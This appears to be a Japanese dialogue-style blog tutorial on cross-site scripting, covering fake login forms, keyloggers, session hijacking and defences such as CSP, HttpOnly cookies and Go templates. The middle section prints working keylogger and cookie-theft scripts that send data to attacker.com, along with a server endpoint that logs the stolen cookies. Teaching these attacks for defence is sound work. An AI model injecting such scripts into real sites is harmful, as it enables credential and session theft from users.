※前回の記事はこちらです。
ZooMにて
先輩:さて、今回は 「クロスサイトスクリプティング(以下XSS)」 ですね。
僕:はい…でもこれ、正直仕組みがよくわからないんですよ。
予習はしてみたんですが、なんかイメージしづらくて。
先輩:XSSって脆弱性診断とかで引っかかりがちな項目なんですけど、確かにイメージしにくいかもしれませんね。
僕:なんか、悪質なJavaScriptのscriptを仕込んでおいて、ユーザーを騙すみたいな?
でも騙されるイメージが湧きにくいんです。
先輩:そうですね…じゃあ例えばなんですけど。
昔、 「あなたのパソコンがウィルスに感染しました!」 ってポップアップが出て来たり、アダルトサイトのポップアップが閉じても閉じても消えない みたいな経験ありませんでした?
先輩:ああ、あの無限ポップアップ地獄ですね…ありますよ。
掲示板のスレッドを見てたら「爆笑GIF」っていうリンクがあったんでクリックして…そしたらポップアップが出て来たんですよ。
「アダルトサイトの会員登録が完了しました!」 っていうやつ。
何度閉じても無限に出てくるから、マジで焦りましたね。
しかもそれ親のパソコンだったんで、後ほどえらく怒られました… (※筆者の実話です) 。
先輩:そう、それですよ。 あれこそXSSの原型みたいなものです。
僕:原型みたいなもの?
先輩:一昔前は攻撃者が 自分のサイトに悪質なscriptを仕込んでおき、クリックしたユーザーのブラウザ上でJavaScriptを実行させるものが主だったんです。
自分のサイトにユーザーを誘い込み、心理的に追い詰めることで 詐欺まがいの課金 に誘導するのが定番だったようですが、今はもう違います。
それを 他人の システムに仕込むのが現在のXSSです。
僕: 他人のシステムにscriptを仕込む?
システムにXSSを仕込まれたらどうなる?
先輩:そもそも、攻撃者がXSSを仕掛ける主な目的について解説しますね。
- ユーザーを悪質なサイトへ誘導する
- ウィルスに感染させる
- 個人情報を盗む
- システムを壊す
僕:「ユーザーを悪質なサイトへ誘導する」と「ウィルスに感染させる」はなんとなくわかるんですけど、「個人情報を盗む」と「システムを壊す」はよくわかんないです。
先輩:まず、XSSを仕込む方法については主に以下が挙げられます。
- 偽のログインフォームに個人情報を入力させる
- キーロガーを仕込む
- セッションIDを盗む
偽のログインフォームに個人情報を入力させる
「偽のログインフォームに個人情報を入力させる」方法は分かりやすいですよね。
あらかじめシステムそっくりに作ったログインフォームへ情報を入力させて、ログインボタンを押した瞬間にusernameやpasswordを奪えばOKです。
僕:いや、「OKです」って…軽いっすね(汗)
でもこれ、本物のログイン画面とすり替えるんですか?
先輩: 本物のページとすり替える必要はないですよ。
まずシステムの管理者権限を持っている社員を狙うなら、「クリックジャッキング攻撃編」でも紹介したように問い合わせフォームからリンクを送って、それを踏ませれば偽のログインページへ誘導できます。
もしユーザーを狙うなら…コメント欄とか商品レビュー欄にリンクを貼っておいて、興味本位でクリックしたユーザーにこんなページを見せますかね。
僕:うわ…!
先輩:そしたらユーザーは 「あれ、ログインが切れたのかな?何だよ面倒くさいな…」 なんて言いながら、usernameとpasswordを入力してくれるかも…(ニヤリ)。
僕:先輩、怖いっす…。
キーロガーを仕込む
先輩:冗談はさておき、「キーロガーを仕込む」方法についてですが、キーボードで押された箇所が1文字ずつ攻撃者に送信されるというものです。
僕:え!?
先輩:たとえばこんなscriptを仕掛けておきます。
<script>
document.addEventListener('keydown', function(e) {
fetch("https://attacker.com/keystroke?key=" + encodeURIComponent(e.key));
});
</script>
そして、このscriptを仕掛けたリンクなどをユーザーが踏んだ瞬間、scriptが動きはじめて…。
「scriptを作動させた後ユーザーが何のキーを打ったのか」 が攻撃者へダダ漏れになるんです。
もっと効率よく取得するならこんなふうに書けば、inputタグもしくはtextareaタグに入れたキーのログを指定して取得できます。
<script>
document.addEventListener('input', function(e) {
if (e.target.tagName === "INPUT" || e.target.tagName === "TEXTAREA") {
fetch("https://attacker.com/log", {
method: "POST",
body: JSON.stringify({
name: e.target.name,
value: e.target.value
}),
headers: {
"Content-Type": "application/json"
}
});
}
});
</script>
僕:じゃあ…。
先輩:そうです。ユーザーがログインするために入力したusernameやpasswordが リアルタイム で攻撃者へ送られます。
僕:ブラウザを覗き見されてるようなもんですね…。
あ!じゃあさっきの偽ログイン画面にこのscriptを仕込んでおけば…。
先輩:そうです、usernameもpasswordも盗み出せますね。
セッションIDを盗む
先輩:で、「セッションIDを盗む」方法についてですが、そもそも 「ユーザーがすでにログイン状態でscriptを実行してくれる場所に仕込むこと」 が多いようです。
何かしらのサービスにユーザーがログインした後、サーバーは 「このユーザーは認証済み」 、つまり 「このアカウントには今ちゃんと所有者本人がログインしている」 と識別するために、「セッションID」 という一時的なIDを発行します。
セッションIDとは、簡単に言えばログイン状態を一時的に維持するための通行手形のようなものです (※あくまで比喩的な表現です)。
ユーザーのブラウザではセッションIDをCookieなどで保存し、以降のリクエストに添えて送信することで、サーバーが毎回ログイン状態を確認できるようになるですけど…
裏を返せば、攻撃者にセッションIDを盗まれたら、攻撃者がユーザー本人になりすましてログインできるようになってしまう んですよ。
僕:考えただけで寒気がします…。
先輩:でしょ?しかもそれを自社のシステムでやられたらどうなると思います?
ユーザーが引っ掛かればそのユーザーの個人情報を攻撃者に取られてしまいますし…
乗っ取られたアカウントを使ってユーザーが投稿を量産すれば、さらに被害者が増えてしまいます。
しかもターゲットになりうるのは、システムを利用しているユーザーだけじゃないんです。
もしシステム管理者のアカウントが乗っ取られればユーザーの情報をすべて削除されたり、ユーザー全員の個人情報を取得してどこかに売られたりしてしまうかもしれません。
そんな大被害を出してしまったら、そのシステムはどうなると思います?
僕:…壊れますね。 しかも多額の賠償金を請求されて信用を失った挙句、システムどころか会社自体がなくなるかも…。
先輩:ね?怖いでしょ?
攻撃者がXSSを仕込む主な方法
僕:さっき 「他人のシステムにscriptを仕込む」 という話がありましたけど、そんなことできるんですか?
以前勉強したクリックジャッキング攻撃と違って、今度こそシステムに侵入しないとできませんよね?
先輩:これもね、 侵入する必要なんかないんですよ。
僕:えーもう怖いですって…。
先輩:じゃあ例えば、攻撃者に「セッションIDを盗む」目的があったとします。
XSSでセッションIDを盗み出すには、たとえば以下のような箇所にあらかじめscriptを仕込んだリンクを入れた投稿をするなどの方法があります。
- 掲示板アプリの投稿欄
- 掲示板アプリのコメント欄
- ECサイトの商品レビュー欄
- システムの問い合わせフォーム
例えばこんな感じですね。
僕:うっ…トラウマが…!
先輩:で、実際に仕込むのがこんな感じのscriptです。
<script>
fetch("https://attacker.com/steal?cookie=" + document.cookie);
</script>
「document.cookie」はJavaScriptで ユーザーのブラウザ上からCookieの値リストを読み込む ためのものです。
Cookieの値リストは'name1=value1; name2=value2;'
みたいな形で書かれているので、このscriptをクリックした時点で以下のリンクへ「このサイトを見せて!」というリクエストが送られます。
https://attacker.com/steal?cookie='name1=value1; name2=value2; ...'
ちなみにこのhttps:// attacker.com/...
は 攻撃者の サイトURLなので、攻撃者があらかじめ用意していたサイトへリクエストが送られるんです。
こんなふうに。
GET /steal?cookie=name1=value1; name2=value2 HTTP/1.1
Host: attacker.com
User-Agent: ...
そして攻撃者のサーバー側で/steal
というエンドポイントでログを取っておけば、以下のようにアクセスログやプログラムで受け取れるんです。
// Node.jsの場合
app.get('/steal', (req, res) => {
console.log("Stolen cookie:", req.query.cookie);
res.sendStatus(200);
});
僕:つまり…?
先輩:req.query.cookie
の中に"name1=value1; name2=value2"
の値が入っているので、まず攻撃者はこの方法でユーザーのCookie値のリストをGETできます。
そしてここからが怖いところです。
攻撃者は、不正に取得したユーザーのCookieを自分のブラウザにセットし、あたかもユーザー本人になりすまして大暴れします。
例えばこんなことも自由にできちゃいますね。
- 個人情報を覗き見する
- 勝手に商品を買う
- 悪質な高額サブスクを契約させる
- scriptつきの悪質な投稿をユーザー名義で量産・拡散する
さっきも言いましたけど、もし管理者のセッションIDを取得できればシステム自体を崩壊させることもできます。
僕:もう聞くの嫌です…。
先輩:もっと怖い話をしますと、 再ログインしない限り二段階認証も回避されることがある んですよ。
僕:え!二段階認証?あれって安心なんじゃ?
先輩:自分で二段階認証を済ませた後にセッションIDを盗まれたら終わりですよ。だってサーバー上ではログインしっぱなしですもん。
実際のログインユーザーが赤の他人にすり替わっていても、セッションIDが一緒ならサーバーは分かりませんからね。
僕:ぎゃー!
先輩:ちなみに、ユーザーのセッションを横取りして本人になりすます攻撃のことを 「セッションハイジャック」 と呼びます。
XSSを防ぐには?
僕:XSS、具体的にイメージしてみたらめちゃくちゃ怖いじゃないですか!
こんなの、どうしたら防げるんですか?
先輩:そもそもですが、XSSは主に以下3つに分けられます。
ですから、それぞれの種類に合わせて対策を行う必要がありますね。
種類 | 説明 | 攻撃タイミング |
---|---|---|
反射型(Reflected)XSS | URLパラメータなどに仕込んだscriptが、即時レスポンスとして反映・実行される | ユーザーがリンクを踏んだ瞬間 |
格納型(Stored)XSS | 投稿フォームなどからサーバーに保存され、他のユーザーが見たときに実行される | 不特定多数がアクセスしたとき |
DOM-based XSS | JSがinnerHTML等でDOMを直接変更し、scriptが実行される | ブラウザ側でページがレンダリングされたとき |
ちなみに今まで説明していた事例は、反射型XSSに分類されます。
で、それぞれに合わせた主な対策が以下の通りなんですけど…。
種類 | 特徴 | 攻撃例 | 対策 |
---|---|---|---|
反射型XSS | ユーザーからの入力をそのままレスポンスに反映(一時的) | URLに悪意あるscriptを埋め込む 例: https://site.com/?q=<script>
|
- 出力時の HTMLエスケープ - Content Security Policy(CSP) の導入 - URLやパラメータの 検証 |
格納型XSS | 悪意あるscriptがDB等に保存されてから表示時に実行される | 掲示板のコメント欄に <script> を投稿し、全ユーザーに実行される |
- 入力時に script除去や無害化 - 出力時の HTMLエスケープ - リッチテキストの入力制限(HTML禁止 or sanitize処理) |
DOM-based XSS | クライアントサイドのJSで、動的にHTMLを生成する際に発生 | JSで location.hash を innerHTML に直接書き込み → script実行 |
- DOM操作時は innerHTMLを避ける - 代わりに textContentやsetAttributeを使用 - CSPの強化 |
僕:???
先輩:いきなり言われても訳がわからないと思うので、今回は3種類に共通する以下の対策法について説明しますね。
- Content-Security-Policy(CSP)を使う
- HTTPOnlyフラグ付きのセッションクッキーをを使う
- セキュリティライブラリやテンプレートエンジンを活用する
Content-Security-Policy(CSP)を使う
僕:あれ?これって…。
先輩:前回のクリックジャッキング攻撃編でも説明しましたよね。
CSPは、Webブラウザに 「このページではどのようなコンテンツをどこから読み込んでいいか」 を細かく制御させる仕組みです。
XSSを防ぐには、CSPでこのように設定します。
default-src 'self';
script-src 'self'
「default-src」(ブラウザの読み込み制御におけるデフォルトの設定で、他にディレクティブを指定していない場合に参照する)と「script-src」(どのscriptを読み込むか制御する)というディレクティブについてそれぞれ 「self」 と設定しましょう。
default-src 'self';
と設定すれば、特に他のディレクティブを設定していないときにこの値を参照するので、同じドメインのscriptやCSS、imgなどが読み込まれなくなります。
そしてscript-src 'self'
と設定すれば、同じドメインから読み込まれたscriptのみ実行を許可するため、自分のドメイン以外のJavaScriptは一切読み込まれなくなります。
つまり、外部の攻撃者が悪意あるscriptを設置しても読み込まれなくなるため、攻撃できなくなるという仕組みです。
僕:興味本位で聞きたいんですけど、なんで両方設定する必要があるんですか?
外部のscriptを読み込ませないようにするだけなら、どっちかだけでいいんじゃないですか?
先輩:両方設定しておいた方がより堅牢になりますよ。
それにdefault-src
のようなデフォルト設定より、script-src
のような細かい設定の方が優先されるんですよ。
たとえばもし以下のように設定していたとしたら、
default-src 'none';
script-src 'self';
default-src
でどのドメインからの読み込みを拒否していたとしても、script-src 'self';
と設定しているのが優先されて、scriptについては自分のドメインであれば読み込みが許可されます。
つまり今後より細かく制御していくなら、 デフォルト設定については一括で拒否して、必要なものだけ明示的に許可していくスタイルがベスト です。
僕:なるほど…。
HTTPOnlyフラグ付きのセッションクッキーを使う
先輩:セッションIDは通常、ログイン状態を維持するためにCookieへ保存されるんですけど、これを攻撃者の悪質なscriptで読み取られてしまうと、ログイン状態を乗っ取られる危険性があります。
ここで使うのが HttpOnlyフラグ です。
僕:HttpOnlyフラグ?
先輩:HttpOnlyフラグは、Cookie値をJavaScriptからアクセスできないように設定するためのものです。
Set-Cookie: session_id=xxx; HttpOnly
このように設定すると、JavaScript(=document.cookie)からはCookieの中身を取得できなくなるので、
<script>fetch(... + document.cookie)</script>
など、document.cookie
からCookieを読み込むscriptを仕込まれても、セッションIDを盗まれずに済みます。
僕:へー…。
先輩:ただ、HttpOnlyフラグはあくまでJavaScriptからの読み取りを防ぐものなので、 クロスサイトリクエストフォージェリ(CSRF)などの別経路での攻撃には効果がない点に注意する必要があります。
僕:へ、へえ…(また知らないのが出てきた…)。
セキュリティライブラリやテンプレートエンジンを活用する
あとは言語の開発環境に合わせて、セキュリティライブラリやテンプレートエンジンを活用する方法ですね。
今は多くの言語やフレームワークで、自動的にXSSを防いでくれるライブラリやテンプレートエンジンが提供されています。
たとえばGoなら、 「html/templateパッケージ」 をimportすると良いですね。
例えばこんな感じです。
package main
import (
"html/template"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
tmpl := template.Must(template.New("xss").Parse(`
<html><body>
<p>こんにちは、{{ .Name }}さん!</p>
</body></html>`))
data := struct {
Name string
}{
Name: r.URL.Query().Get("name"), // 外部入力
}
tmpl.Execute(w, data)
}
func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}
こうすることで、name
出力時に自動でHTMLエスケープ(≒悪意あるタグなどを無害化)してくれるので便利ですよ。
僕:つまり、name
に<script>alert('XSS')</script>
って入れても、画面上ではただの文字列として表示されるってことですか?
先輩:そうです。Goの「html/templateパッケージ」は、scriptやHTMLタグを自動で<
や>
という値に変換してくれます。
僕:へえー、便利ですね!普段何となく書いてるだけでしたけど、こんな機能があるとは。
先輩:便利だからこそ、細かい機能はついつい見落としがちですよね。
ZooMにて
僕:いや…XSS、恐るべしですね…。
先輩:どうでした?イメージできました?
僕:ええまあ…過去のトラウマが蘇りましたけど…。
先輩:次はじゃあ…「クロスサイトリクエストフォージェリ(CSRF)」にしましょうか。ちょうどさっき出てきましたし。
僕:はい!
(次回「クロスサイトリクエストフォージェリ(CSRF)編」へ続く)
参考書籍
- 「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 脆弱性が生まれる原理と対策の実践」:徳丸 浩 (著)
- 「情報処理教科書 情報処理安全確保支援士 2025年版」:上原 孝之 (著)